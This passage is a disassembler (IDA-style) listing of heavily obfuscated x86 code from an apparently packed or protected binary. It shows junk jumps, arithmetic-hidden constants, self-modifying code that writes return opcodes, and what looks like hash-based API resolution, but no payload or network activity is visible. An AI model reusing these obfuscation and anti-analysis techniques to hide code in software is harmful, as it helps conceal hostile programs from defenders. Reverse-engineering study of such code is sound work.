		jmp	loc_746E56
; END OF FUNCTION CHUNK	FOR sub_753FCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7475CB


loc_74B10E:				; CODE XREF: sub_7475CB+7ECBj
		xor	esi, 3419CB6Dh
		rol	esi, 1Ah
		xor	esi, 393052DCh
		call	sub_747003


loc_74B122:				; CODE XREF: sub_74AE67+A646j
		jmp	loc_7490E9
; END OF FUNCTION CHUNK	FOR sub_7475CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752A54


loc_74B127:				; CODE XREF: sub_752A54+Cj
		jmp	loc_7453A2
; END OF FUNCTION CHUNK	FOR sub_752A54
; ---------------------------------------------------------------------------


loc_74B12C:				; CODE XREF: _0z4jwtox:0074830Bj
		jmp	loc_749BDD
; ---------------------------------------------------------------------------


loc_74B131:				; DATA XREF: sub_74D23E+9631o
		mov	eax, [eax+20h]
		push	offset sub_74DF5E
		jmp	loc_74D627
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp]
		push	0F7A3D72Ch
		pop	edx
		sub	edx, 1F473191h
		rol	edx, 8
		and	edx, 96C997Dh
		jmp	loc_746B55
; ---------------------------------------------------------------------------
		ja	loc_74BD84
		jmp	sub_7531B7
; ---------------------------------------------------------------------------


loc_74B169:				; CODE XREF: _0z4jwtox:loc_754F12j
		test	esi, 40000000h
		jmp	loc_747BFB
; ---------------------------------------------------------------------------
		or	eax, 5332E66Fh
		jmp	sub_750F2E
; ---------------------------------------------------------------------------
		shl	ebp, 19h
		jmp	sub_748498
; ---------------------------------------------------------------------------
		push	48D9014Ch
		pop	eax
		sub	eax, 3F6CDF11h
		or	eax, 260A52B6h
		jmp	loc_752ED3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_241. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755892


loc_74B19F:				; CODE XREF: sub_755892+7j
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-0Ch], 4
		jnz	loc_74B1B5
		add	dword ptr [ebp-8], 4
		jmp	loc_753F00
; ---------------------------------------------------------------------------


loc_74B1B5:				; CODE XREF: sub_755892-A6ECj
		push	offset loc_74A43C
		jmp	loc_74E14C
; END OF FUNCTION CHUNK	FOR sub_755892
; ---------------------------------------------------------------------------


loc_74B1BF:				; CODE XREF: _0z4jwtox:loc_74E151j
		test	ebx, 200000h
		jmp	loc_74D83E
; ---------------------------------------------------------------------------


loc_74B1CA:				; DATA XREF: _0z4jwtox:00745382o
		sub	eax, [ebp-0Ch]
		mov	[ebp-0Ch], eax
		jmp	loc_7490B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A71A


loc_74B1D5:				; CODE XREF: sub_74A71A:loc_75231Dj
		cmp	dword ptr [ebp-1Ch], 66h
		jnz	loc_75652B
		mov	eax, 6
		sub	eax, [ebp-0Ch]
		mov	[ebp-0Ch], eax
		jmp	loc_746AF3
; END OF FUNCTION CHUNK	FOR sub_74A71A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7514AC


loc_74B1EF:				; CODE XREF: sub_7514AC:loc_74E3A2j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_7514AC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_74B1F1	proc near		; CODE XREF: sub_750291-7155p
					; _0z4jwtox:loc_74B709j ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074608D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00746B10 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074705B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00748A52 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 007496D6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074993B SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0074DA48 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00750BE7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0075254A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 007525B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753E77 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754269 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754613 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00757529 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_754613
sub_74B1F1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_74B1F9	proc near		; CODE XREF: _0z4jwtox:007480C1p
					; _0z4jwtox:00753A3Bj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00751615 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753FB5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 007573EB SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [esp-4+arg_0]
		push	ebx
		push	edx
		jmp	loc_751615
sub_74B1F9	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_296. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_74B208:				; CODE XREF: _0z4jwtox:0074AE36j
		jmp	locret_746968
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_74B20D:				; CODE XREF: sub_747AEC-1F65j
		jo	loc_75767D


loc_74B213:				; CODE XREF: _0z4jwtox:007546C1j
		test	ebx, 98FE33A9h


loc_74B219:				; CODE XREF: _0z4jwtox:loc_75329Dj
		jmp	loc_74618E
; END OF FUNCTION CHUNK	FOR sub_747AEC

; =============== S U B	R O U T	I N E =======================================



sub_74B21E	proc near		; CODE XREF: _0z4jwtox:00749A03p
					; _0z4jwtox:00749F83j

; FUNCTION CHUNK AT 00749CDB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D24A SIZE 00000014 BYTES

		xchg	eax, [esp+0]
		pop	eax
		xor	eax, 22F93B52h
		call	sub_746E93
		jmp	loc_749CDB
sub_74B21E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74B232:				; DATA XREF: sub_7451D9+4C45o
		cmp	ds:dword_75161C, 0
		jnz	loc_74E190
		call	nullsub_5
		call	sub_754FC6


loc_74B249:				; CODE XREF: _0z4jwtox:0074A9CCj
		mov	edx, 0CF0182F6h
		jmp	loc_74B423
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D1F3


loc_74B253:				; CODE XREF: sub_74D1F3-13C7j
		cdq
		jmp	loc_7554A3
; END OF FUNCTION CHUNK	FOR sub_74D1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749306


loc_74B259:				; CODE XREF: sub_749306+3DFAj
		sub	al, 99h
		push	52FEA7C0h
		pop	edx
		jmp	loc_74E267
; END OF FUNCTION CHUNK	FOR sub_749306
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_74B266:				; CODE XREF: sub_74FE55-3763j
		push	edi
		pushf
		push	0A2CD6F92h
		pop	edi
		or	edi, 3F50B494h
		jmp	loc_74A9D8
; END OF FUNCTION CHUNK	FOR sub_74FE55

; =============== S U B	R O U T	I N E =======================================



sub_74B279	proc near		; DATA XREF: sub_74A63F+9E6Co
		lea	eax, nullsub_1
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_1
sub_74B279	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	edi, ebx
		jmp	loc_74EC95
; ---------------------------------------------------------------------------
		db 49h
byte_74B290	db 1			; DATA XREF: sub_74FC30+6r
					; sub_752E17+Bw
		align 2
		dw 0A983h
		dd 0D8323AE6h, 6C8C2EC6h, 7C830063h ; DATA XREF: sub_74FC30+16o
dword_74B2A0	dd 7C900000h						; sub_752E17+6w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_74B2A4:				; CODE XREF: sub_747C39:loc_74E8CBj
					; sub_746C5E+109C5j
		jmp	loc_749449
; END OF FUNCTION CHUNK	FOR sub_747C39
; ---------------------------------------------------------------------------
		db 58h,	0B8h, 1
dword_74B2AC	dd 0							; _0z4jwtox:0074819Ew ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749010


loc_74B2B0:				; CODE XREF: sub_749010:loc_749015j
		jnz	loc_74EC46
		jmp	loc_74BE13
; END OF FUNCTION CHUNK	FOR sub_749010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7474F5


loc_74B2BB:				; CODE XREF: sub_7474F5:loc_756591j
		mov	eax, [ebp-14h]
		mov	eax, [eax+18h]
		dec	eax
		test	eax, eax
		jl	loc_754EB3
		inc	eax
		mov	[ebp-1Ch], eax
		mov	dword ptr [ebp-18h], 0
		jmp	loc_749FC6
; END OF FUNCTION CHUNK	FOR sub_7474F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756496


loc_74B2DA:				; CODE XREF: sub_756496:loc_74F76Bj
					; sub_756496-2972j
		mov	eax, 1F56AC7Bh
		call	sub_746E93
		rol	eax, 17h
		push	offset loc_747F52
		jmp	nullsub_192
; END OF FUNCTION CHUNK	FOR sub_756496
; ---------------------------------------------------------------------------
		mov	ds:off_41F00C, eax
		lea	eax, sub_754C68


loc_74B2FD:				; CODE XREF: _0z4jwtox:0075436Dj
		mov	byte ptr [eax],	0C3h
		jmp	loc_74B6D2

; =============== S U B	R O U T	I N E =======================================



sub_74B305	proc near		; CODE XREF: sub_41D663+F9p
					; _0z4jwtox:00753721j
					; DATA XREF: ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074C0FC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 007523CF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753727 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 007567D5 SIZE 0000000A BYTES

		push	edi
		push	79CC7627h
		pop	edi
		and	edi, 2BACACE7h
		sub	edi, 39ECB868h
		jmp	loc_74C0FC
sub_74B305	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752E0F


loc_74B31D:				; CODE XREF: sub_752E0F-6CE7j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		push	offset loc_74E01B
		jmp	nullsub_99
; END OF FUNCTION CHUNK	FOR sub_752E0F
; ---------------------------------------------------------------------------
		push	eax
; START	OF FUNCTION CHUNK FOR sub_74952C


loc_74B32E:				; CODE XREF: sub_74952C-B3Cj
		mov	eax, ebx
		push	offset loc_74C1FB
		jmp	nullsub_47
; END OF FUNCTION CHUNK	FOR sub_74952C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_74B33A:				; CODE XREF: sub_7561AB-42D5j
		xor	esi, 0E674DAh
		sub	esi, 0FC01AD7Dh
		call	sub_745F37


loc_74B34B:				; DATA XREF: sub_74BD6F:loc_753FC4o
		push	3A3E0E1h
		pop	eax
		rol	eax, 12h
		cmp	eax, 0D3C90332h
		jmp	loc_746A2E
; END OF FUNCTION CHUNK	FOR sub_7561AB
; ---------------------------------------------------------------------------


loc_74B35F:				; CODE XREF: _0z4jwtox:0074E574j
		pop	esi
		add	esi, 35F620C9h
		sub	esi, 0C3B05506h
		add	esi, 0AC5B77F0h
		xchg	esi, [esp]
		jmp	loc_75235A
; ---------------------------------------------------------------------------
		jge	loc_746685
		jmp	sub_74A094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_757151


loc_74B385:				; CODE XREF: sub_757151-8E09j
		pop	edx
		xor	edx, 0D58C5409h
		sub	edx, 0EE9B8A34h
		add	edx, 7603A28Eh
		rol	edx, 12h
		add	edx, 0E9CDBBBCh
		jmp	loc_74A3D7
; END OF FUNCTION CHUNK	FOR sub_757151
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F615


loc_74B3A6:				; CODE XREF: sub_74F615-69C4j
		rol	ecx, 15h
		mov	ebp, esi
		sbb	edi, eax
		jmp	loc_754D11
; END OF FUNCTION CHUNK	FOR sub_74F615
; ---------------------------------------------------------------------------


loc_74B3B2:				; CODE XREF: _0z4jwtox:0074D81Ej
		jz	loc_746450
; START	OF FUNCTION CHUNK FOR sub_7501AF


loc_74B3B8:				; CODE XREF: sub_7501AF-6109j
		jmp	loc_754D34
; END OF FUNCTION CHUNK	FOR sub_7501AF
; ---------------------------------------------------------------------------
		adc	edi, edx
		add	eax, ebx
		jmp	loc_74644E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_279. PRESS KEYPAD	"+" TO EXPAND]
		db 83h
; ---------------------------------------------------------------------------
		fnstcw	word ptr [edi+edi*8+48B5AFFh]
		and	al, 53h
		jmp	loc_74F465
; ---------------------------------------------------------------------------
		call	nullsub_11
		jmp	ds:dword_41F190
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		cmp	al, 24h
		mov	edx, edi
		jmp	loc_7486AC

; =============== S U B	R O U T	I N E =======================================



sub_74B3EB	proc near		; CODE XREF: _0z4jwtox:0074580Fj
					; sub_74D23E+9232p

; FUNCTION CHUNK AT 0074AA54 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00750C57 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		call	sub_746E93
		push	ecx
		mov	ecx, ebx
		jmp	loc_750C57
sub_74B3EB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE46


loc_74B3FC:				; CODE XREF: sub_74AE46:loc_74FAC9j
		cmp	ecx, 272E7BB6h
		jmp	loc_755BD4
; END OF FUNCTION CHUNK	FOR sub_74AE46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755C38


loc_74B407:				; CODE XREF: sub_755C38:loc_74F01Aj
		or	edx, 815ACE24h
		xor	edx, 0CDAA8E12h
		jns	loc_74DBFC


loc_74B419:				; CODE XREF: _0z4jwtox:0074DFDCj
		jmp	nullsub_224
; END OF FUNCTION CHUNK	FOR sub_755C38
; ---------------------------------------------------------------------------


loc_74B41E:				; CODE XREF: _0z4jwtox:0074D9E8j
		jmp	loc_753FE5
; ---------------------------------------------------------------------------


loc_74B423:				; CODE XREF: _0z4jwtox:0074B24Ej
		jmp	loc_755B4C
; ---------------------------------------------------------------------------
		not	esi
		sbb	edi, 11EBBD79h
		jmp	loc_74DBFC
; ---------------------------------------------------------------------------
		mov	ds:off_41F068, eax
		push	offset loc_749B2A
		jmp	locret_755E94
; ---------------------------------------------------------------------------
		add	edi, 0CDFA23C1h
		jmp	sub_749F88
; ---------------------------------------------------------------------------
		sub	ebx, esi
		jmp	sub_7556D8
; ---------------------------------------------------------------------------


loc_74B457:				; DATA XREF: sub_746556:loc_7456E3o
		xor	eax, 0DB893C7Eh
		ror	eax, 1Ah
		mov	edx, [esp]
		push	eax
		mov	eax, edx
		jmp	loc_74C2C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_74B46B:				; CODE XREF: sub_74CBCF:loc_74A3E0j
					; sub_74CBCF+15E8j
		mov	eax, 80F02D07h
		call	sub_746E93
		push	esi
		push	2CC686F6h
		pop	esi
		jmp	loc_754BFF
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74742A


loc_74B481:				; CODE XREF: sub_74742A:loc_7514DFj
		jz	loc_755BF9
		jmp	loc_75106E
; END OF FUNCTION CHUNK	FOR sub_74742A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7473E6


loc_74B48C:				; CODE XREF: sub_7473E6:loc_74EE8Ej
		jnz	loc_747AFE
		jmp	loc_74DB3B
; END OF FUNCTION CHUNK	FOR sub_7473E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746C84


loc_74B497:				; CODE XREF: sub_746C84:loc_746D08j
		push	7D6F46AFh
		pop	edx
		rol	edx, 0Ch
		and	edx, 3D243740h
		xor	edx, 3E7FAEA1h
		add	eax, edx
		jmp	loc_74D8CD
; END OF FUNCTION CHUNK	FOR sub_746C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749608


loc_74B4B3:				; CODE XREF: sub_749608+2FC4j
					; _0z4jwtox:00754373j
		add	esi, 45D93D6Ah
		test	esi, 100h
		jmp	loc_74EBBB
; END OF FUNCTION CHUNK	FOR sub_749608
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C0C


loc_74B4C4:				; CODE XREF: sub_747C0C:loc_74E233j
		xchg	edi, [esp+8+var_8]
		jmp	loc_74B4DC
; END OF FUNCTION CHUNK	FOR sub_747C0C
; ---------------------------------------------------------------------------
		jmp	ds:off_41F158
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74ECEF


loc_74B4D2:				; CODE XREF: sub_74ECEF+10j
		jmp	loc_74FD93
; END OF FUNCTION CHUNK	FOR sub_74ECEF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BF3A


loc_74B4D7:				; CODE XREF: sub_74BF3A+13j
		jmp	loc_746A21
; END OF FUNCTION CHUNK	FOR sub_74BF3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C0C


loc_74B4DC:				; CODE XREF: sub_747C0C+38BBj
					; _0z4jwtox:0074BB12j ...
		jns	loc_74BB17
		pop	edx
		push	offset loc_752438
		jmp	loc_757059
; END OF FUNCTION CHUNK	FOR sub_747C0C
; ---------------------------------------------------------------------------
		mov	eax, 6960D331h
		push	ebx
		push	7514AB60h
		pop	ebx
		sub	ebx, 0DCF39CB6h
		and	ebx, 25DDA47Eh
		jmp	loc_7457FD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_295. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_74B50B:				; CODE XREF: _0z4jwtox:00750625j
		jmp	loc_7463F2
; ---------------------------------------------------------------------------


loc_74B510:				; DATA XREF: sub_751078+24ABo
		push	eax
		ror	eax, 0Ch
		mov	dword ptr ds:loc_74F37B+1, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745911


loc_74B51B:				; CODE XREF: sub_745911+23DBj
		jmp	nullsub_48
; END OF FUNCTION CHUNK	FOR sub_745911
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_74B520:				; CODE XREF: sub_747C39-1720j
		jmp	loc_745EBF
; END OF FUNCTION CHUNK	FOR sub_747C39

; =============== S U B	R O U T	I N E =======================================



sub_74B525	proc near		; CODE XREF: sub_7490F6-1B64p
					; sub_75143A-86A2p ...

; FUNCTION CHUNK AT 00745502 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074A9EC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074EB43 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0074F0AB SIZE 0000000A BYTES

		push	ebp
		jmp	loc_74A9EC
sub_74B525	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C8DA


loc_74B52B:				; CODE XREF: sub_74F30D:loc_75154Aj
					; _0z4jwtox:0075155Fj ...
		add	edx, 0F1FC028Ah
		xor	edx, 5BDB4A2Dh
		add	edx, ebp
		add	edx, 382395Eh
		jmp	loc_753957
; END OF FUNCTION CHUNK	FOR sub_74C8DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B7B


loc_74B544:				; CODE XREF: sub_748B7B:loc_7575A2j
		call	sub_747CDA


loc_74B549:				; CODE XREF: _0z4jwtox:0074D219j
		jmp	nullsub_252
; END OF FUNCTION CHUNK	FOR sub_748B7B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74894B


loc_74B54E:				; CODE XREF: sub_74894B-2A4Cj
		jmp	sub_754A3D
; END OF FUNCTION CHUNK	FOR sub_74894B
; ---------------------------------------------------------------------------


loc_74B553:				; CODE XREF: _0z4jwtox:00745AB0j
		jmp	locret_7529DC
; ---------------------------------------------------------------------------


loc_74B558:				; CODE XREF: _0z4jwtox:0074F2F2j
		jl	loc_747D3A
		cmp	ebp, 0E0E7D4BCh
		jmp	loc_754855
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7473E6


loc_74B569:				; CODE XREF: sub_7473E6:loc_74A5F6j
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_748AE2
		jmp	loc_74EE8E
; END OF FUNCTION CHUNK	FOR sub_7473E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E685


loc_74B57A:				; CODE XREF: sub_74E685+6920j
		jnz	loc_746574
		jmp	loc_7461FC
; END OF FUNCTION CHUNK	FOR sub_74E685
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B079


loc_74B585:				; CODE XREF: sub_74B079+95AFj
		call	sub_74FACE
		push	77C570D4h
		pop	eax
		or	eax, 265FA746h
		sub	eax, 5E73133Ah
		jmp	loc_74715C
; END OF FUNCTION CHUNK	FOR sub_74B079
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F69D


loc_74B5A1:				; CODE XREF: sub_74F69D+Dj
		xchg	eax, [esp+4+var_4]
		mov	ebp, edx
		xchg	ebp, [esp+4+var_4]
		call	sub_75740D
		mov	eax, 0FC897303h
		jmp	loc_753A62
; END OF FUNCTION CHUNK	FOR sub_74F69D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BFE0


loc_74B5B8:				; CODE XREF: sub_74BFE0:loc_75220Dj
		jz	loc_750C41
		jmp	loc_7575FA
; END OF FUNCTION CHUNK	FOR sub_74BFE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746C84


loc_74B5C3:				; CODE XREF: sub_746C84:loc_74D8CDj
		push	offset sub_74C3EB
		jmp	nullsub_62
; END OF FUNCTION CHUNK	FOR sub_746C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7491FD


loc_74B5CD:				; CODE XREF: sub_7491FD+A643j
		push	edx
		call	sub_74E0EB
		mov	eax, 0C7CC2482h
		call	sub_746E93
		mov	ds:off_41F170, eax
		lea	eax, sub_756A5B
		mov	byte ptr [eax],	0C3h
		jmp	sub_756A5B
; END OF FUNCTION CHUNK	FOR sub_7491FD
; ---------------------------------------------------------------------------
		call	nullsub_24
		jmp	loc_7531CC
; ---------------------------------------------------------------------------
		mov	esi, [edi]
		jmp	sub_748CFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749980


loc_74B602:				; CODE XREF: sub_749980:loc_756C6Fj
		xchg	esi, [esp-4+arg_0]
		mov	eax, edx
		call	sub_747892
		push	offset loc_750DEA
		jmp	loc_752729
; END OF FUNCTION CHUNK	FOR sub_749980
; ---------------------------------------------------------------------------
		jnz	loc_752AAA
		jmp	loc_7572CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755179


loc_74B621:				; CODE XREF: sub_755179+6j
		jnz	loc_74B634
		call	sub_74ACFA
		or	eax, eax
		jnz	locret_746BB9


loc_74B634:				; CODE XREF: sub_755179:loc_74B621j
		call	sub_746BB0
; END OF FUNCTION CHUNK	FOR sub_755179
; START	OF FUNCTION CHUNK FOR sub_754A3D


loc_74B639:				; CODE XREF: sub_754A3D+3j
		jmp	loc_74699F
; END OF FUNCTION CHUNK	FOR sub_754A3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74721B


loc_74B63E:				; CODE XREF: sub_74721B+25C3j
		jno	loc_74C099
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		jmp	loc_74D985
; END OF FUNCTION CHUNK	FOR sub_74721B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74946E


loc_74B650:				; CODE XREF: sub_74946E+A053j
		sub	eax, edx
		pop	edx
		mov	edx, [esp-4+arg_0]
		push	eax
		mov	eax, edx
		nop


loc_74B65A:				; CODE XREF: sub_747C22:loc_74EEABj
		jmp	loc_752D96
; END OF FUNCTION CHUNK	FOR sub_74946E
; ---------------------------------------------------------------------------


loc_74B65F:				; CODE XREF: _0z4jwtox:loc_746D5Fj
		test	eax, 40000h
		jmp	loc_754AE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752957


loc_74B66A:				; CODE XREF: sub_752957-168Ej
		test	ebx, 800000h
		jmp	loc_754A00
; END OF FUNCTION CHUNK	FOR sub_752957
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7475CB


loc_74B675:				; CODE XREF: sub_7475CB+4B66j
		cmp	eax, esi
		jmp	loc_753AFF
; END OF FUNCTION CHUNK	FOR sub_7475CB
; ---------------------------------------------------------------------------
		sub	ebx, 59D160DEh
		jmp	loc_752635
; ---------------------------------------------------------------------------
		popf
		jmp	loc_7461EC
; ---------------------------------------------------------------------------
		mov	esi, ebp
		jmp	sub_757799
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746869


loc_74B694:				; CODE XREF: sub_746869:loc_74687Ej
		jb	loc_74C69A
		jmp	loc_74B704
; END OF FUNCTION CHUNK	FOR sub_746869
; ---------------------------------------------------------------------------


loc_74B69F:				; CODE XREF: _0z4jwtox:0074DD66j
		adc	esi, 3A426138h
		jge	loc_74AE4B


loc_74B6AB:				; CODE XREF: _0z4jwtox:loc_7483BEj
		lea	edx, [ebp-14h]
		mov	eax, offset dword_74F3AC
		push	edx
		jmp	loc_7547B4
; ---------------------------------------------------------------------------
		push	offset sub_74D9D0
		jmp	loc_755552
; ---------------------------------------------------------------------------


loc_74B6C3:				; CODE XREF: _0z4jwtox:00745E46j
					; _0z4jwtox:0074C965j
		xchg	eax, [esp]
		mov	edx, eax
		call	sub_745685


loc_74B6CD:				; CODE XREF: _0z4jwtox:0074DA57j
		jmp	locret_74CBC9
; ---------------------------------------------------------------------------


loc_74B6D2:				; CODE XREF: _0z4jwtox:0074B300j
		jmp	sub_754C68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755CFC


loc_74B6D7:				; CODE XREF: sub_755CFC:loc_75334Bj
		mov	edx, [ebp+8]
		mov	edx, [edx-8]
		push	offset loc_755B89
		jmp	loc_74F988
; END OF FUNCTION CHUNK	FOR sub_755CFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74667B


loc_74B6E7:				; CODE XREF: sub_74667B+13j
		add	esi, 0C89BF1F2h
		mov	[esi], eax
		pop	esi
		call	sub_750560


loc_74B6F5:				; CODE XREF: sub_74F08D+720Fj
		jmp	sub_745715
; END OF FUNCTION CHUNK	FOR sub_74667B
; ---------------------------------------------------------------------------


loc_74B6FA:				; CODE XREF: _0z4jwtox:00755E8Fj
		jmp	loc_7484FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748CFC


loc_74B6FF:				; CODE XREF: sub_748CFC+7764j
		jmp	loc_750676
; END OF FUNCTION CHUNK	FOR sub_748CFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746869


loc_74B704:				; CODE XREF: sub_746869+4E31j
		jmp	loc_7532EC
; END OF FUNCTION CHUNK	FOR sub_746869
; ---------------------------------------------------------------------------


loc_74B709:				; CODE XREF: _0z4jwtox:0074A166j
		jmp	sub_74B1F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7510EA


loc_74B70E:				; CODE XREF: sub_7510EA+Ej
		jz	loc_74E6E1
		jmp	loc_7540F6
; END OF FUNCTION CHUNK	FOR sub_7510EA

; =============== S U B	R O U T	I N E =======================================



sub_74B719	proc near		; CODE XREF: _0z4jwtox:00746739j
					; sub_747736+D1D6p

; FUNCTION CHUNK AT 00746209 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00747161 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007487AA SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00749B3A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074B9EB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074C3BE SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0074CC0F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074DE2C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00755B94 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00755D0D SIZE 00000008 BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_7452F3
		pop	ecx


loc_74B723:				; CODE XREF: sub_747736:loc_749B60j
		shl	eax, 3
		mov	edx, [ebp+8]
		or	[edx-8], eax
		jmp	loc_74B9EB
sub_74B719	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_74B731:				; CODE XREF: sub_747736:loc_74BA67j
					; sub_747736:loc_7548FBj
		cmp	dword ptr [ebp-10h], 1
		jmp	loc_74C3D7
; END OF FUNCTION CHUNK	FOR sub_747736
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_55. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755F77


loc_74B73B:				; CODE XREF: sub_755F77+17j
		jmp	loc_750D19
; END OF FUNCTION CHUNK	FOR sub_755F77
